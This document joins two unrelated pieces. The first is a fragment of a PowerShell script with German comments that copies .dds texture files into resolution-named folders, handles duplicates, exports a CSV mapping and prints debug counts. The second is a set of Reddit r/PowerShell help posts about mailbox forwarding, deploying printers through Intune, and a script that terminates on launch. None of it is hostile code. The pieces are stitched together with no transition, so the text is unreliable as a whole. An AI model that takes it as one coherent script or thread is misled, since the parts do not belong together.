            if ($debug2) { $output2 += "`nNew-Item Ergebnis für ${godFatherFolder}: ${newItemResult}" }
        }

        # Erstellen Sie den GrandParentFolder im Ausgabeordner
        if (-not (Test-Path $grandParentFolder)) {
            $testPathResult = Test-Path $grandParentFolder
            if ($debug2) { $output2 += "`nTest-Path Ergebnis für ${grandParentFolder}: ${testPathResult}" }

            $newItemResult = New-Item -ItemType Directory -Path $grandParentFolder
            if ($debug2) { $output2 += "`nNew-Item Ergebnis für ${grandParentFolder}: ${newItemResult}" }
        }

        # Erstellen Sie den ParentFolder im Ausgabeordner
        $parentFolder += $resolution
        if (-not (Test-Path $parentFolder)) {
            $testPathResult = Test-Path $parentFolder
            if ($debug2) { $output2 += "`nTest-Path Ergebnis für ${parentFolder}: ${testPathResult}" }

            $newItemResult = New-Item -ItemType Directory -Path $parentFolder
            if ($debug2) { $output2 += "`nNew-Item Ergebnis für ${parentFolder}: ${newItemResult}" }
        }

        # Erstellen Sie den DestinationFolder innerhalb des ParentFolder
        $destinationFolder = Join-Path -Path $parentFolder -ChildPath (Split-Path $parentFolder -Leaf)
        
        $i = 2
        while (Test-Path (Join-Path -Path $destinationFolder -ChildPath $ddsFile.Name)) {
            if ($destinationFolder -match "_\d+$") {
                $destinationFolder = $destinationFolder -replace "_\d+$", "_$i"
            } else {
                $destinationFolder = $destinationFolder + "_$i"
            }
            $i++
        }

        if (-not (Test-Path $destinationFolder)) {
            $testPathResult = Test-Path $destinationFolder
            if ($debug2) { $output2 += "`nTest-Path Ergebnis für ${destinationFolder}: ${testPathResult}" }

            $newItemResult = New-Item -ItemType Directory -Path $destinationFolder
            if ($debug2) { $output2 += "`nNew-Item Ergebnis für ${destinationFolder}: ${newItemResult}" }
        }

        Copy-Item -Path $ddsFile.FullName -Destination $destinationFolder
        if ($debug2) { $output2 += "`nCopying file: $($ddsFile.FullName) to ${destinationFolder}" } # Debugging-Ausgabe

        # Erstellen Sie den Pfad zur kopierten .dds-Datei
        $newDdsFilePath = Join-Path -Path $destinationFolder -ChildPath $ddsFile.Name

        $mapping += [PSCustomObject]@{
            OldDdsFilePath = $ddsFile.FullName
            NewDdsFilePath = $newDdsFilePath
            DDSFormat = $result
        }
        $totalCopiedFiles++
        if ($debug2) { $output2 += "`n`$mapping has $(($mapping | Measure-Object).Count) items after adding a new item" }
    } else {
        if ($debug2) { $output2 += "`nKeine .dds-Datei gefunden für $($file.FullName)" }
    }
}




if ($debug2) {
    $output2 += "`n`$mapping has $(($mapping | Measure-Object).Count) items before Export-Csv"
    $output2 += "`n`$csvPath is: $csvPath"
}

# Versuch, die $mapping-Variable in eine Datei mit der Add-Content-Funktion anstelle von Export-Csv zu schreiben
try {
    $mapping | ConvertTo-Csv -NoTypeInformation -Delimiter "," | Out-String | Set-Content -Path $csvPath -ErrorAction Stop
} catch {
    if ($debug2) { $output2 += "`nFehler beim Schreiben der CSV-Datei: $($_.Exception.Message)" }
}

# Ausgabe des Ergebnisses des `Set-Content`-Befehls
$result = $mapping | ConvertTo-Csv -NoTypeInformation -Delimiter "," | Out-String | Set-Content -Path $csvPath
if ($debug2) { $output2 += "`n`$result is: $result" }

# Ausgabe der Gesamtanzahl der gefundenen .dds-Dateien, der kopierten .dds-Dateien, der gefundenen .txt-Dateien mit "DDSFormat=" und der gefundenen .txt dateien mit "DDSFormat=", "Width=" und "Height="
if ($debug1) {
    $output1 += "`nEs wurden insgesamt $totalDdsFiles .dds-Dateien gefunden."
    $output1 += "`nEs wurden insgesamt $totalCopiedFiles .dds-Dateien kopiert."
    $output1 += "`nEs wurden insgesamt $totalTxtFiles .txt-Dateien mit 'DDSFormat=' gefunden."
    $output1 += "`nEs wurden insgesamt $totalTxtFiles .txt-Dateien mit 'DDSFormat=', 'Width=' und 'Height=' gefunden."
}

# Nachdem alle Kopiervorgänge abgeschlossen sind
$specialFolders = Get-ChildItem -Path $outputFolder -Directory -Recurse | Where-Object { $_.Name -match "_\d+$" }
$totalCopiedDuplicates = 0

foreach ($folder in $specialFolders) {
    $totalCopiedDuplicates += (Get-ChildItem -Path $folder.FullName -File | Measure-Object).Count
}

if ($debug2) {
    $output2 += "`nEs wurden insgesamt $totalCopiedDuplicates Duplikate in 'Sonderordner' kopiert."
}

# Ausgabe der Gesamtanzahl der gefundenen .txt-Dateien mit "Width=", der gefundenen .txt-Dateien mit "Height=" und der gefundenen .dds-Duplikate
if ($debug2) {
    $output2 += "`nEs wurden insgesamt $totalTxtFilesWithWidth .txt-Dateien mit 'Width=' gefunden."
    $output2 += "`nEs wurden insgesamt $totalTxtFilesWithHeight .txt-Dateien mit 'Height=' gefunden."
}

# Durchsuchen Sie den Output-Ordner und alle seine Unterordner nach .dds-Dateien und zählen Sie diese
if ($debug3) {
    $ddsFilesInOutputFolder = Get-ChildItem -Path $outputFolder -Recurse -Filter *.dds
    $totalDdsFilesInOutputFolder = ($ddsFilesInOutputFolder | Measure-Object).Count
    $output3 += "`nEs wurden insgesamt $totalDdsFilesInOutputFolder .dds-Dateien im Ausgabeordner gefunden."
}

# Geben Sie die Debugging-Ausgaben am Ende des Skripts aus
Write-Host $output2
Write-Host $output1
Write-Host $output3

# Am Ende des Skripts
Stop-Transcript

r/PowerShell • • Aug 19 '22

How to get fowarding of lots of mailboxes

0 Upvotes

Hi all,

I need to get the fowarding of a lot of mailboxes because we’re moving them over to Exchange Online from on prem.

Is there a cmd I can use in powershell to bulk get a bunch of mailbox forwards without typing the cmd one mailbox at a time?

Thanks!


r/PowerShell • • May 03 '22

Script to install printer through intune NSFW

0 Upvotes

Hi Folk

I am trying to install network printers on clients devices through intune. Could you suggest the power shell scrip for that. I have onsite print server installed.


r/PowerShell • • Jul 04 '18

Solved Why does my powershell script stop immediantely after being opened...?

0 Upvotes

New thread is here: https://www.reddit.com/r/PowerShell/comments/8wceh3/why_does_my_script_work_in_iseps_command_but_not/

It used to work but now it suddently terminates less than a second after being opened. I set the execution policy to unrestricted & re-installed Windows yet it still does not work...

The powershell shows up for 1 second in task manager before windows security health service when it's run using .vbs & then disappears: https://i.imgur.com/VNX7NKx.png

When I paste the script code into PowerShell ISE it works, why is this?

Just to clarify a few things:

The .ps1 file worked with task scheduler (it would load a console window before the message showing up) & when I clicked on the .ps1 file it would also load a console window before the message showed up. When I moved to VB it worked when I clicked on the VB file & when I used the VB file with task scheduler; both without the console window popping up before the message showed.

It still works with VB but only if I create a new user account then after like a day or two it stops working...

Here's what the properties of the task look like (when it worked): https://i.imgur.com/bBIS3od.png